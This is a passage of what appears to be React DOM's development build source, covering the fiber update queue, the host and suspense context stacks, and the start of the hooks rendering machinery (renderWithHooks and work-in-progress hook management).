        lanes: NoLanes
      },
      effects: null
    };
    fiber.updateQueue = queue;
  }
  function cloneUpdateQueue(current, workInProgress) {
    // Clone the update queue from current. Unless it's already a clone.
    var queue = workInProgress.updateQueue;
    var currentQueue = current.updateQueue;

    if (queue === currentQueue) {
      var clone = {
        baseState: currentQueue.baseState,
        firstBaseUpdate: currentQueue.firstBaseUpdate,
        lastBaseUpdate: currentQueue.lastBaseUpdate,
        shared: currentQueue.shared,
        effects: currentQueue.effects
      };
      workInProgress.updateQueue = clone;
    }
  }
  function createUpdate(eventTime, lane) {
    var update = {
      eventTime: eventTime,
      lane: lane,
      tag: UpdateState,
      payload: null,
      callback: null,
      next: null
    };
    return update;
  }
  function enqueueUpdate(fiber, update, lane) {
    var updateQueue = fiber.updateQueue;

    if (updateQueue === null) {
      // Only occurs if the fiber has been unmounted.
      return null;
    }

    var sharedQueue = updateQueue.shared;

    {
      if (currentlyProcessingQueue === sharedQueue && !didWarnUpdateInsideUpdate) {
        error('An update (setState, replaceState, or forceUpdate) was scheduled ' + 'from inside an update function. Update functions should be pure, ' + 'with zero side-effects. Consider using componentDidUpdate or a ' + 'callback.');

        didWarnUpdateInsideUpdate = true;
      }
    }

    if (isUnsafeClassRenderPhaseUpdate()) {
      // This is an unsafe render phase update. Add directly to the update
      // queue so we can process it immediately during the current render.
      var pending = sharedQueue.pending;

      if (pending === null) {
        // This is the first update. Create a circular list.
        update.next = update;
      } else {
        update.next = pending.next;
        pending.next = update;
      }

      sharedQueue.pending = update; // Update the childLanes even though we're most likely already rendering
      // this fiber. This is for backwards compatibility in the case where you
      // update a different component during render phase than the one that is
      // currently renderings (a pattern that is accompanied by a warning).

      return unsafe_markUpdateLaneFromFiberToRoot(fiber, lane);
    } else {
      return enqueueConcurrentClassUpdate(fiber, sharedQueue, update, lane);
    }
  }
  function entangleTransitions(root, fiber, lane) {
    var updateQueue = fiber.updateQueue;

    if (updateQueue === null) {
      // Only occurs if the fiber has been unmounted.
      return;
    }

    var sharedQueue = updateQueue.shared;

    if (isTransitionLane(lane)) {
      var queueLanes = sharedQueue.lanes; // If any entangled lanes are no longer pending on the root, then they must
      // have finished. We can remove them from the shared queue, which represents
      // a superset of the actually pending lanes. In some cases we may entangle
      // more than we need to, but that's OK. In fact it's worse if we *don't*
      // entangle when we should.

      queueLanes = intersectLanes(queueLanes, root.pendingLanes); // Entangle the new transition lane with the other transition lanes.

      var newQueueLanes = mergeLanes(queueLanes, lane);
      sharedQueue.lanes = newQueueLanes; // Even if queue.lanes already include lane, we don't know for certain if
      // the lane finished since the last time we entangled it. So we need to
      // entangle it again, just to be sure.

      markRootEntangled(root, newQueueLanes);
    }
  }
  function enqueueCapturedUpdate(workInProgress, capturedUpdate) {
    // Captured updates are updates that are thrown by a child during the render
    // phase. They should be discarded if the render is aborted. Therefore,
    // we should only put them on the work-in-progress queue, not the current one.
    var queue = workInProgress.updateQueue; // Check if the work-in-progress queue is a clone.

    var current = workInProgress.alternate;

    if (current !== null) {
      var currentQueue = current.updateQueue;

      if (queue === currentQueue) {
        // The work-in-progress queue is the same as current. This happens when
        // we bail out on a parent fiber that then captures an error thrown by
        // a child. Since we want to append the update only to the work-in
        // -progress queue, we need to clone the updates. We usually clone during
        // processUpdateQueue, but that didn't happen in this case because we
        // skipped over the parent when we bailed out.
        var newFirst = null;
        var newLast = null;
        var firstBaseUpdate = queue.firstBaseUpdate;

        if (firstBaseUpdate !== null) {
          // Loop through the updates and clone them.
          var update = firstBaseUpdate;

          do {
            var clone = {
              eventTime: update.eventTime,
              lane: update.lane,
              tag: update.tag,
              payload: update.payload,
              callback: update.callback,
              next: null
            };

            if (newLast === null) {
              newFirst = newLast = clone;
            } else {
              newLast.next = clone;
              newLast = clone;
            }

            update = update.next;
          } while (update !== null); // Append the captured update the end of the cloned list.


          if (newLast === null) {
            newFirst = newLast = capturedUpdate;
          } else {
            newLast.next = capturedUpdate;
            newLast = capturedUpdate;
          }
        } else {
          // There are no base updates.
          newFirst = newLast = capturedUpdate;
        }

        queue = {
          baseState: currentQueue.baseState,
          firstBaseUpdate: newFirst,
          lastBaseUpdate: newLast,
          shared: currentQueue.shared,
          effects: currentQueue.effects
        };
        workInProgress.updateQueue = queue;
        return;
      }
    } // Append the update to the end of the list.


    var lastBaseUpdate = queue.lastBaseUpdate;

    if (lastBaseUpdate === null) {
      queue.firstBaseUpdate = capturedUpdate;
    } else {
      lastBaseUpdate.next = capturedUpdate;
    }

    queue.lastBaseUpdate = capturedUpdate;
  }

  function getStateFromUpdate(workInProgress, queue, update, prevState, nextProps, instance) {
    switch (update.tag) {
      case ReplaceState:
        {
          var payload = update.payload;

          if (typeof payload === 'function') {
            // Updater function
            {
              enterDisallowedContextReadInDEV();
            }

            var nextState = payload.call(instance, prevState, nextProps);

            {
              if ( workInProgress.mode & StrictLegacyMode) {
                setIsStrictModeForDevtools(true);

                try {
                  payload.call(instance, prevState, nextProps);
                } finally {
                  setIsStrictModeForDevtools(false);
                }
              }

              exitDisallowedContextReadInDEV();
            }

            return nextState;
          } // State object


          return payload;
        }

      case CaptureUpdate:
        {
          workInProgress.flags = workInProgress.flags & ~ShouldCapture | DidCapture;
        }
      // Intentional fallthrough

      case UpdateState:
        {
          var _payload = update.payload;
          var partialState;

          if (typeof _payload === 'function') {
            // Updater function
            {
              enterDisallowedContextReadInDEV();
            }

            partialState = _payload.call(instance, prevState, nextProps);

            {
              if ( workInProgress.mode & StrictLegacyMode) {
                setIsStrictModeForDevtools(true);

                try {
                  _payload.call(instance, prevState, nextProps);
                } finally {
                  setIsStrictModeForDevtools(false);
                }
              }

              exitDisallowedContextReadInDEV();
            }
          } else {
            // Partial state object
            partialState = _payload;
          }

          if (partialState === null || partialState === undefined) {
            // Null and undefined are treated as no-ops.
            return prevState;
          } // Merge the partial state and the previous state.


          return assign({}, prevState, partialState);
        }

      case ForceUpdate:
        {
          hasForceUpdate = true;
          return prevState;
        }
    }

    return prevState;
  }

  function processUpdateQueue(workInProgress, props, instance, renderLanes) {
    // This is always non-null on a ClassComponent or HostRoot
    var queue = workInProgress.updateQueue;
    hasForceUpdate = false;

    {
      currentlyProcessingQueue = queue.shared;
    }

    var firstBaseUpdate = queue.firstBaseUpdate;
    var lastBaseUpdate = queue.lastBaseUpdate; // Check if there are pending updates. If so, transfer them to the base queue.

    var pendingQueue = queue.shared.pending;

    if (pendingQueue !== null) {
      queue.shared.pending = null; // The pending queue is circular. Disconnect the pointer between first
      // and last so that it's non-circular.

      var lastPendingUpdate = pendingQueue;
      var firstPendingUpdate = lastPendingUpdate.next;
      lastPendingUpdate.next = null; // Append pending updates to base queue

      if (lastBaseUpdate === null) {
        firstBaseUpdate = firstPendingUpdate;
      } else {
        lastBaseUpdate.next = firstPendingUpdate;
      }

      lastBaseUpdate = lastPendingUpdate; // If there's a current queue, and it's different from the base queue, then
      // we need to transfer the updates to that queue, too. Because the base
      // queue is a singly-linked list with no cycles, we can append to both
      // lists and take advantage of structural sharing.
      // TODO: Pass `current` as argument

      var current = workInProgress.alternate;

      if (current !== null) {
        // This is always non-null on a ClassComponent or HostRoot
        var currentQueue = current.updateQueue;
        var currentLastBaseUpdate = currentQueue.lastBaseUpdate;

        if (currentLastBaseUpdate !== lastBaseUpdate) {
          if (currentLastBaseUpdate === null) {
            currentQueue.firstBaseUpdate = firstPendingUpdate;
          } else {
            currentLastBaseUpdate.next = firstPendingUpdate;
          }

          currentQueue.lastBaseUpdate = lastPendingUpdate;
        }
      }
    } // These values may change as we process the queue.


    if (firstBaseUpdate !== null) {
      // Iterate through the list of updates to compute the result.
      var newState = queue.baseState; // TODO: Don't need to accumulate this. Instead, we can remove renderLanes
      // from the original lanes.

      var newLanes = NoLanes;
      var newBaseState = null;
      var newFirstBaseUpdate = null;
      var newLastBaseUpdate = null;
      var update = firstBaseUpdate;

      do {
        var updateLane = update.lane;
        var updateEventTime = update.eventTime;

        if (!isSubsetOfLanes(renderLanes, updateLane)) {
          // Priority is insufficient. Skip this update. If this is the first
          // skipped update, the previous update/state is the new base
          // update/state.
          var clone = {
            eventTime: updateEventTime,
            lane: updateLane,
            tag: update.tag,
            payload: update.payload,
            callback: update.callback,
            next: null
          };

          if (newLastBaseUpdate === null) {
            newFirstBaseUpdate = newLastBaseUpdate = clone;
            newBaseState = newState;
          } else {
            newLastBaseUpdate = newLastBaseUpdate.next = clone;
          } // Update the remaining priority in the queue.


          newLanes = mergeLanes(newLanes, updateLane);
        } else {
          // This update does have sufficient priority.
          if (newLastBaseUpdate !== null) {
            var _clone = {
              eventTime: updateEventTime,
              // This update is going to be committed so we never want uncommit
              // it. Using NoLane works because 0 is a subset of all bitmasks, so
              // this will never be skipped by the check above.
              lane: NoLane,
              tag: update.tag,
              payload: update.payload,
              callback: update.callback,
              next: null
            };
            newLastBaseUpdate = newLastBaseUpdate.next = _clone;
          } // Process this update.


          newState = getStateFromUpdate(workInProgress, queue, update, newState, props, instance);
          var callback = update.callback;

          if (callback !== null && // If the update was already committed, we should not queue its
          // callback again.
          update.lane !== NoLane) {
            workInProgress.flags |= Callback;
            var effects = queue.effects;

            if (effects === null) {
              queue.effects = [update];
            } else {
              effects.push(update);
            }
          }
        }

        update = update.next;

        if (update === null) {
          pendingQueue = queue.shared.pending;

          if (pendingQueue === null) {
            break;
          } else {
            // An update was scheduled from inside a reducer. Add the new
            // pending updates to the end of the list and keep processing.
            var _lastPendingUpdate = pendingQueue; // Intentionally unsound. Pending updates form a circular list, but we
            // unravel them when transferring them to the base queue.

            var _firstPendingUpdate = _lastPendingUpdate.next;
            _lastPendingUpdate.next = null;
            update = _firstPendingUpdate;
            queue.lastBaseUpdate = _lastPendingUpdate;
            queue.shared.pending = null;
          }
        }
      } while (true);

      if (newLastBaseUpdate === null) {
        newBaseState = newState;
      }

      queue.baseState = newBaseState;
      queue.firstBaseUpdate = newFirstBaseUpdate;
      queue.lastBaseUpdate = newLastBaseUpdate; // Interleaved updates are stored on a separate queue. We aren't going to
      // process them during this render, but we do need to track which lanes
      // are remaining.

      var lastInterleaved = queue.shared.interleaved;

      if (lastInterleaved !== null) {
        var interleaved = lastInterleaved;

        do {
          newLanes = mergeLanes(newLanes, interleaved.lane);
          interleaved = interleaved.next;
        } while (interleaved !== lastInterleaved);
      } else if (firstBaseUpdate === null) {
        // `queue.lanes` is used for entangling transitions. We can set it back to
        // zero once the queue is empty.
        queue.shared.lanes = NoLanes;
      } // Set the remaining expiration time to be whatever is remaining in the queue.
      // This should be fine because the only two other things that contribute to
      // expiration time are props and context. We're already in the middle of the
      // begin phase by the time we start processing the queue, so we've already
      // dealt with the props. Context in components that specify
      // shouldComponentUpdate is tricky; but we'll have to account for
      // that regardless.


      markSkippedUpdateLanes(newLanes);
      workInProgress.lanes = newLanes;
      workInProgress.memoizedState = newState;
    }

    {
      currentlyProcessingQueue = null;
    }
  }

  function callCallback(callback, context) {
    if (typeof callback !== 'function') {
      throw new Error('Invalid argument passed as callback. Expected a function. Instead ' + ("received: " + callback));
    }

    callback.call(context);
  }

  function resetHasForceUpdateBeforeProcessing() {
    hasForceUpdate = false;
  }
  function checkHasForceUpdateAfterProcessing() {
    return hasForceUpdate;
  }
  function commitUpdateQueue(finishedWork, finishedQueue, instance) {
    // Commit the effects
    var effects = finishedQueue.effects;
    finishedQueue.effects = null;

    if (effects !== null) {
      for (var i = 0; i < effects.length; i++) {
        var effect = effects[i];
        var callback = effect.callback;

        if (callback !== null) {
          effect.callback = null;
          callCallback(callback, instance);
        }
      }
    }
  }

  var NO_CONTEXT = {};
  var contextStackCursor$1 = createCursor(NO_CONTEXT);
  var contextFiberStackCursor = createCursor(NO_CONTEXT);
  var rootInstanceStackCursor = createCursor(NO_CONTEXT);

  function requiredContext(c) {
    if (c === NO_CONTEXT) {
      throw new Error('Expected host context to exist. This error is likely caused by a bug ' + 'in React. Please file an issue.');
    }

    return c;
  }

  function getRootHostContainer() {
    var rootInstance = requiredContext(rootInstanceStackCursor.current);
    return rootInstance;
  }

  function pushHostContainer(fiber, nextRootInstance) {
    // Push current root instance onto the stack;
    // This allows us to reset root when portals are popped.
    push(rootInstanceStackCursor, nextRootInstance, fiber); // Track the context and the Fiber that provided it.
    // This enables us to pop only Fibers that provide unique contexts.

    push(contextFiberStackCursor, fiber, fiber); // Finally, we need to push the host context to the stack.
    // However, we can't just call getRootHostContext() and push it because
    // we'd have a different number of entries on the stack depending on
    // whether getRootHostContext() throws somewhere in renderer code or not.
    // So we push an empty value first. This lets us safely unwind on errors.

    push(contextStackCursor$1, NO_CONTEXT, fiber);
    var nextRootContext = getRootHostContext(nextRootInstance); // Now that we know this function doesn't throw, replace it.

    pop(contextStackCursor$1, fiber);
    push(contextStackCursor$1, nextRootContext, fiber);
  }

  function popHostContainer(fiber) {
    pop(contextStackCursor$1, fiber);
    pop(contextFiberStackCursor, fiber);
    pop(rootInstanceStackCursor, fiber);
  }

  function getHostContext() {
    var context = requiredContext(contextStackCursor$1.current);
    return context;
  }

  function pushHostContext(fiber) {
    var rootInstance = requiredContext(rootInstanceStackCursor.current);
    var context = requiredContext(contextStackCursor$1.current);
    var nextContext = getChildHostContext(context, fiber.type); // Don't push this Fiber's context unless it's unique.

    if (context === nextContext) {
      return;
    } // Track the context and the Fiber that provided it.
    // This enables us to pop only Fibers that provide unique contexts.


    push(contextFiberStackCursor, fiber, fiber);
    push(contextStackCursor$1, nextContext, fiber);
  }

  function popHostContext(fiber) {
    // Do not pop unless this Fiber provided the current context.
    // pushHostContext() only pushes Fibers that provide unique contexts.
    if (contextFiberStackCursor.current !== fiber) {
      return;
    }

    pop(contextStackCursor$1, fiber);
    pop(contextFiberStackCursor, fiber);
  }

  var DefaultSuspenseContext = 0; // The Suspense Context is split into two parts. The lower bits is
  // inherited deeply down the subtree. The upper bits only affect
  // this immediate suspense boundary and gets reset each new
  // boundary or suspense list.

  var SubtreeSuspenseContextMask = 1; // Subtree Flags:
  // InvisibleParentSuspenseContext indicates that one of our parent Suspense
  // boundaries is not currently showing visible main content.
  // Either because it is already showing a fallback or is not mounted at all.
  // We can use this to determine if it is desirable to trigger a fallback at
  // the parent. If not, then we might need to trigger undesirable boundaries
  // and/or suspend the commit to avoid hiding the parent content.

  var InvisibleParentSuspenseContext = 1; // Shallow Flags:
  // ForceSuspenseFallback can be used by SuspenseList to force newly added
  // items into their fallback state during one of the render passes.

  var ForceSuspenseFallback = 2;
  var suspenseStackCursor = createCursor(DefaultSuspenseContext);
  function hasSuspenseContext(parentContext, flag) {
    return (parentContext & flag) !== 0;
  }
  function setDefaultShallowSuspenseContext(parentContext) {
    return parentContext & SubtreeSuspenseContextMask;
  }
  function setShallowSuspenseContext(parentContext, shallowContext) {
    return parentContext & SubtreeSuspenseContextMask | shallowContext;
  }
  function addSubtreeSuspenseContext(parentContext, subtreeContext) {
    return parentContext | subtreeContext;
  }
  function pushSuspenseContext(fiber, newContext) {
    push(suspenseStackCursor, newContext, fiber);
  }
  function popSuspenseContext(fiber) {
    pop(suspenseStackCursor, fiber);
  }

  function shouldCaptureSuspense(workInProgress, hasInvisibleParent) {
    // If it was the primary children that just suspended, capture and render the
    // fallback. Otherwise, don't capture and bubble to the next boundary.
    var nextState = workInProgress.memoizedState;

    if (nextState !== null) {
      if (nextState.dehydrated !== null) {
        // A dehydrated boundary always captures.
        return true;
      }

      return false;
    }

    var props = workInProgress.memoizedProps; // Regular boundaries always capture.

    {
      return true;
    } // If it's a boundary we should avoid, then we prefer to bubble up to the
  }
  function findFirstSuspended(row) {
    var node = row;

    while (node !== null) {
      if (node.tag === SuspenseComponent) {
        var state = node.memoizedState;

        if (state !== null) {
          var dehydrated = state.dehydrated;

          if (dehydrated === null || isSuspenseInstancePending(dehydrated) || isSuspenseInstanceFallback(dehydrated)) {
            return node;
          }
        }
      } else if (node.tag === SuspenseListComponent && // revealOrder undefined can't be trusted because it don't
      // keep track of whether it suspended or not.
      node.memoizedProps.revealOrder !== undefined) {
        var didSuspend = (node.flags & DidCapture) !== NoFlags;

        if (didSuspend) {
          return node;
        }
      } else if (node.child !== null) {
        node.child.return = node;
        node = node.child;
        continue;
      }

      if (node === row) {
        return null;
      }

      while (node.sibling === null) {
        if (node.return === null || node.return === row) {
          return null;
        }

        node = node.return;
      }

      node.sibling.return = node.return;
      node = node.sibling;
    }

    return null;
  }

  var NoFlags$1 =
  /*   */
  0; // Represents whether effect should fire.

  var HasEffect =
  /* */
  1; // Represents the phase in which the effect (not the clean-up) fires.

  var Insertion =
  /*  */
  2;
  var Layout =
  /*    */
  4;
  var Passive$1 =
  /*   */
  8;

  // and should be reset before starting a new render.
  // This tracks which mutable sources need to be reset after a render.

  var workInProgressSources = [];
  function resetWorkInProgressVersions() {
    for (var i = 0; i < workInProgressSources.length; i++) {
      var mutableSource = workInProgressSources[i];

      {
        mutableSource._workInProgressVersionPrimary = null;
      }
    }

    workInProgressSources.length = 0;
  }
  // This ensures that the version used for server rendering matches the one
  // that is eventually read during hydration.
  // If they don't match there's a potential tear and a full deopt render is required.

  function registerMutableSourceForHydration(root, mutableSource) {
    var getVersion = mutableSource._getVersion;
    var version = getVersion(mutableSource._source); // TODO Clear this data once all pending hydration work is finished.
    // Retaining it forever may interfere with GC.

    if (root.mutableSourceEagerHydrationData == null) {
      root.mutableSourceEagerHydrationData = [mutableSource, version];
    } else {
      root.mutableSourceEagerHydrationData.push(mutableSource, version);
    }
  }

  var ReactCurrentDispatcher$1 = ReactSharedInternals.ReactCurrentDispatcher,
      ReactCurrentBatchConfig$2 = ReactSharedInternals.ReactCurrentBatchConfig;
  var didWarnAboutMismatchedHooksForComponent;
  var didWarnUncachedGetSnapshot;

  {
    didWarnAboutMismatchedHooksForComponent = new Set();
  }

  // These are set right before calling the component.
  var renderLanes = NoLanes; // The work-in-progress fiber. I've named it differently to distinguish it from
  // the work-in-progress hook.

  var currentlyRenderingFiber$1 = null; // Hooks are stored as a linked list on the fiber's memoizedState field. The
  // current hook list is the list that belongs to the current fiber. The
  // work-in-progress hook list is a new list that will be added to the
  // work-in-progress fiber.

  var currentHook = null;
  var workInProgressHook = null; // Whether an update was scheduled at any point during the render phase. This
  // does not get reset if we do another render pass; only when we're completely
  // finished evaluating this component. This is an optimization so we know
  // whether we need to clear render phase updates after a throw.

  var didScheduleRenderPhaseUpdate = false; // Where an update was scheduled only during the current render pass. This
  // gets reset after each attempt.
  // TODO: Maybe there's some way to consolidate this with
  // `didScheduleRenderPhaseUpdate`. Or with `numberOfReRenders`.

  var didScheduleRenderPhaseUpdateDuringThisPass = false; // Counts the number of useId hooks in this component.

  var localIdCounter = 0; // Used for ids that are generated completely client-side (i.e. not during
  // hydration). This counter is global, so client ids are not stable across
  // render attempts.

  var globalClientIdCounter = 0;
  var RE_RENDER_LIMIT = 25; // In DEV, this is the name of the currently executing primitive hook

  var currentHookNameInDev = null; // In DEV, this list ensures that hooks are called in the same order between renders.
  // The list stores the order of hooks used during the initial render (mount).
  // Subsequent renders (updates) reference this list.

  var hookTypesDev = null;
  var hookTypesUpdateIndexDev = -1; // In DEV, this tracks whether currently rendering component needs to ignore
  // the dependencies for Hooks that need them (e.g. useEffect or useMemo).
  // When true, such Hooks will always be "remounted". Only used during hot reload.

  var ignorePreviousDependencies = false;

  function mountHookTypesDev() {
    {
      var hookName = currentHookNameInDev;

      if (hookTypesDev === null) {
        hookTypesDev = [hookName];
      } else {
        hookTypesDev.push(hookName);
      }
    }
  }

  function updateHookTypesDev() {
    {
      var hookName = currentHookNameInDev;

      if (hookTypesDev !== null) {
        hookTypesUpdateIndexDev++;

        if (hookTypesDev[hookTypesUpdateIndexDev] !== hookName) {
          warnOnHookMismatchInDev(hookName);
        }
      }
    }
  }

  function checkDepsAreArrayDev(deps) {
    {
      if (deps !== undefined && deps !== null && !isArray(deps)) {
        // Verify deps, but only on mount to avoid extra checks.
        // It's unlikely their type would change as usually you define them inline.
        error('%s received a final argument that is not an array (instead, received `%s`). When ' + 'specified, the final argument must be an array.', currentHookNameInDev, typeof deps);
      }
    }
  }

  function warnOnHookMismatchInDev(currentHookName) {
    {
      var componentName = getComponentNameFromFiber(currentlyRenderingFiber$1);

      if (!didWarnAboutMismatchedHooksForComponent.has(componentName)) {
        didWarnAboutMismatchedHooksForComponent.add(componentName);

        if (hookTypesDev !== null) {
          var table = '';
          var secondColumnStart = 30;

          for (var i = 0; i <= hookTypesUpdateIndexDev; i++) {
            var oldHookName = hookTypesDev[i];
            var newHookName = i === hookTypesUpdateIndexDev ? currentHookName : oldHookName;
            var row = i + 1 + ". " + oldHookName; // Extra space so second column lines up
            // lol @ IE not supporting String#repeat

            while (row.length < secondColumnStart) {
              row += ' ';
            }

            row += newHookName + '\n';
            table += row;
          }

          error('React has detected a change in the order of Hooks called by %s. ' + 'This will lead to bugs and errors if not fixed. ' + 'For more information, read the Rules of Hooks: https://reactjs.org/link/rules-of-hooks\n\n' + '   Previous render            Next render\n' + '   ------------------------------------------------------\n' + '%s' + '   ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^\n', componentName, table);
        }
      }
    }
  }

  function throwInvalidHookError() {
    throw new Error('Invalid hook call. Hooks can only be called inside of the body of a function component. This could happen for' + ' one of the following reasons:\n' + '1. You might have mismatching versions of React and the renderer (such as React DOM)\n' + '2. You might be breaking the Rules of Hooks\n' + '3. You might have more than one copy of React in the same app\n' + 'See https://reactjs.org/link/invalid-hook-call for tips about how to debug and fix this problem.');
  }

  function areHookInputsEqual(nextDeps, prevDeps) {
    {
      if (ignorePreviousDependencies) {
        // Only true when this component is being hot reloaded.
        return false;
      }
    }

    if (prevDeps === null) {
      {
        error('%s received a final argument during this render, but not during ' + 'the previous render. Even though the final argument is optional, ' + 'its type cannot change between renders.', currentHookNameInDev);
      }

      return false;
    }

    {
      // Don't bother comparing lengths in prod because these arrays should be
      // passed inline.
      if (nextDeps.length !== prevDeps.length) {
        error('The final argument passed to %s changed size between renders. The ' + 'order and size of this array must remain constant.\n\n' + 'Previous: %s\n' + 'Incoming: %s', currentHookNameInDev, "[" + prevDeps.join(', ') + "]", "[" + nextDeps.join(', ') + "]");
      }
    }

    for (var i = 0; i < prevDeps.length && i < nextDeps.length; i++) {
      if (objectIs(nextDeps[i], prevDeps[i])) {
        continue;
      }

      return false;
    }

    return true;
  }

  function renderWithHooks(current, workInProgress, Component, props, secondArg, nextRenderLanes) {
    renderLanes = nextRenderLanes;
    currentlyRenderingFiber$1 = workInProgress;

    {
      hookTypesDev = current !== null ? current._debugHookTypes : null;
      hookTypesUpdateIndexDev = -1; // Used for hot reloading:

      ignorePreviousDependencies = current !== null && current.type !== workInProgress.type;
    }

    workInProgress.memoizedState = null;
    workInProgress.updateQueue = null;
    workInProgress.lanes = NoLanes; // The following should have already been reset
    // currentHook = null;
    // workInProgressHook = null;
    // didScheduleRenderPhaseUpdate = false;
    // localIdCounter = 0;
    // TODO Warn if no hooks are used at all during mount, then some are used during update.
    // Currently we will identify the update render as a mount because memoizedState === null.
    // This is tricky because it's valid for certain types of components (e.g. React.lazy)
    // Using memoizedState to differentiate between mount/update only works if at least one stateful hook is used.
    // Non-stateful hooks (e.g. context) don't get added to memoizedState,
    // so memoizedState would be null during updates and mounts.

    {
      if (current !== null && current.memoizedState !== null) {
        ReactCurrentDispatcher$1.current = HooksDispatcherOnUpdateInDEV;
      } else if (hookTypesDev !== null) {
        // This dispatcher handles an edge case where a component is updating,
        // but no stateful hooks have been used.
        // We want to match the production code behavior (which will use HooksDispatcherOnMount),
        // but with the extra DEV validation to ensure hooks ordering hasn't changed.
        // This dispatcher does that.
        ReactCurrentDispatcher$1.current = HooksDispatcherOnMountWithHookTypesInDEV;
      } else {
        ReactCurrentDispatcher$1.current = HooksDispatcherOnMountInDEV;
      }
    }

    var children = Component(props, secondArg); // Check if there was a render phase update

    if (didScheduleRenderPhaseUpdateDuringThisPass) {
      // Keep rendering in a loop for as long as render phase updates continue to
      // be scheduled. Use a counter to prevent infinite loops.
      var numberOfReRenders = 0;

      do {
        didScheduleRenderPhaseUpdateDuringThisPass = false;
        localIdCounter = 0;

        if (numberOfReRenders >= RE_RENDER_LIMIT) {
          throw new Error('Too many re-renders. React limits the number of renders to prevent ' + 'an infinite loop.');
        }

        numberOfReRenders += 1;

        {
          // Even when hot reloading, allow dependencies to stabilize
          // after first render to prevent infinite render phase updates.
          ignorePreviousDependencies = false;
        } // Start over from the beginning of the list


        currentHook = null;
        workInProgressHook = null;
        workInProgress.updateQueue = null;

        {
          // Also validate hook order for cascading updates.
          hookTypesUpdateIndexDev = -1;
        }

        ReactCurrentDispatcher$1.current =  HooksDispatcherOnRerenderInDEV ;
        children = Component(props, secondArg);
      } while (didScheduleRenderPhaseUpdateDuringThisPass);
    } // We can assume the previous dispatcher is always this one, since we set it
    // at the beginning of the render phase and there's no re-entrance.


    ReactCurrentDispatcher$1.current = ContextOnlyDispatcher;

    {
      workInProgress._debugHookTypes = hookTypesDev;
    } // This check uses currentHook so that it works the same in DEV and prod bundles.
    // hookTypesDev could catch more cases (e.g. context) but only in DEV bundles.


    var didRenderTooFewHooks = currentHook !== null && currentHook.next !== null;
    renderLanes = NoLanes;
    currentlyRenderingFiber$1 = null;
    currentHook = null;
    workInProgressHook = null;

    {
      currentHookNameInDev = null;
      hookTypesDev = null;
      hookTypesUpdateIndexDev = -1; // Confirm that a static flag was not added or removed since the last
      // render. If this fires, it suggests that we incorrectly reset the static
      // flags in some other part of the codebase. This has happened before, for
      // example, in the SuspenseList implementation.

      if (current !== null && (current.flags & StaticMask) !== (workInProgress.flags & StaticMask) && // Disable this warning in legacy mode, because legacy Suspense is weird
      // and creates false positives. To make this work in legacy mode, we'd
      // need to mark fibers that commit in an incomplete state, somehow. For
      // now I'll disable the warning that most of the bugs that would trigger
      // it are either exclusive to concurrent mode or exist in both.
      (current.mode & ConcurrentMode) !== NoMode) {
        error('Internal React error: Expected static flag was missing. Please ' + 'notify the React team.');
      }
    }

    didScheduleRenderPhaseUpdate = false; // This is reset by checkDidRenderIdHook
    // localIdCounter = 0;

    if (didRenderTooFewHooks) {
      throw new Error('Rendered fewer hooks than expected. This may be caused by an accidental ' + 'early return statement.');
    }

    return children;
  }
  function checkDidRenderIdHook() {
    // This should be called immediately after every renderWithHooks call.
    // Conceptually, it's part of the return value of renderWithHooks; it's only a
    // separate function to avoid using an array tuple.
    var didRenderIdHook = localIdCounter !== 0;
    localIdCounter = 0;
    return didRenderIdHook;
  }
  function bailoutHooks(current, workInProgress, lanes) {
    workInProgress.updateQueue = current.updateQueue; // TODO: Don't need to reset the flags here, because they're reset in the
    // complete phase (bubbleProperties).

    if ( (workInProgress.mode & StrictEffectsMode) !== NoMode) {
      workInProgress.flags &= ~(MountPassiveDev | MountLayoutDev | Passive | Update);
    } else {
      workInProgress.flags &= ~(Passive | Update);
    }

    current.lanes = removeLanes(current.lanes, lanes);
  }
  function resetHooksAfterThrow() {
    // We can assume the previous dispatcher is always this one, since we set it
    // at the beginning of the render phase and there's no re-entrance.
    ReactCurrentDispatcher$1.current = ContextOnlyDispatcher;

    if (didScheduleRenderPhaseUpdate) {
      // There were render phase updates. These are only valid for this render
      // phase, which we are now aborting. Remove the updates from the queues so
      // they do not persist to the next render. Do not remove updates from hooks
      // that weren't processed.
      //
      // Only reset the updates from the queue if it has a clone. If it does
      // not have a clone, that means it wasn't processed, and the updates were
      // scheduled before we entered the render phase.
      var hook = currentlyRenderingFiber$1.memoizedState;

      while (hook !== null) {
        var queue = hook.queue;

        if (queue !== null) {
          queue.pending = null;
        }

        hook = hook.next;
      }

      didScheduleRenderPhaseUpdate = false;
    }

    renderLanes = NoLanes;
    currentlyRenderingFiber$1 = null;
    currentHook = null;
    workInProgressHook = null;

    {
      hookTypesDev = null;
      hookTypesUpdateIndexDev = -1;
      currentHookNameInDev = null;
      isUpdatingOpaqueValueInRenderPhase = false;
    }

    didScheduleRenderPhaseUpdateDuringThisPass = false;
    localIdCounter = 0;
  }

  function mountWorkInProgressHook() {
    var hook = {
      memoizedState: null,
      baseState: null,
      baseQueue: null,
      queue: null,
      next: null
    };

    if (workInProgressHook === null) {
      // This is the first hook in the list
      currentlyRenderingFiber$1.memoizedState = workInProgressHook = hook;
    } else {
      // Append to the end of the list
      workInProgressHook = workInProgressHook.next = hook;
    }

    return workInProgressHook;
  }

  function updateWorkInProgressHook() {
    // This function is used both for updates and for re-renders triggered by a
    // render phase update. It assumes there is either a current hook we can
    // clone, or a work-in-progress hook from a previous render pass that we can
    // use as a base. When we reach the end of the base list, we must switch to
    // the dispatcher used for mounts.
    var nextCurrentHook;

    if (currentHook === null) {
      var current = currentlyRenderingFiber$1.alternate;

      if (current !== null) {
        nextCurrentHook = current.memoizedState;
      } else {
        nextCurrentHook = null;
      }
    } else {
      nextCurrentHook = currentHook.next;
    }

    var nextWorkInProgressHook;

    if (workInProgressHook === null) {
      nextWorkInProgressHook = currentlyRenderingFiber$1.memoizedState;
    } else {
      nextWorkInProgressHook = workInProgressHook.next;
    }

    if (nextWorkInProgressHook !== null) {
      // There's already a work-in-progress. Reuse it.
      workInProgressHook = nextWorkInProgressHook;
      nextWorkInProgressHook = workInProgressHook.next;
      currentHook = nextCurrentHook;
    } else {
      // Clone from the current hook.
      if (nextCurrentHook === null) {
        throw new Error('Rendered more hooks than during the previous render.');
      }

      currentHook = nextCurrentHook;
      var newHook = {
        memoizedState: currentHook.memoizedState,
        baseState: currentHook.baseState,
        baseQueue: currentHook.baseQueue,
        queue: currentHook.queue,
        next: null
      };

      if (workInProgressHook === null) {
        // This is the first hook in the list.
        currentlyRenderingFiber$1.memoizedState = workInProgressHook = newHook;
      } else {
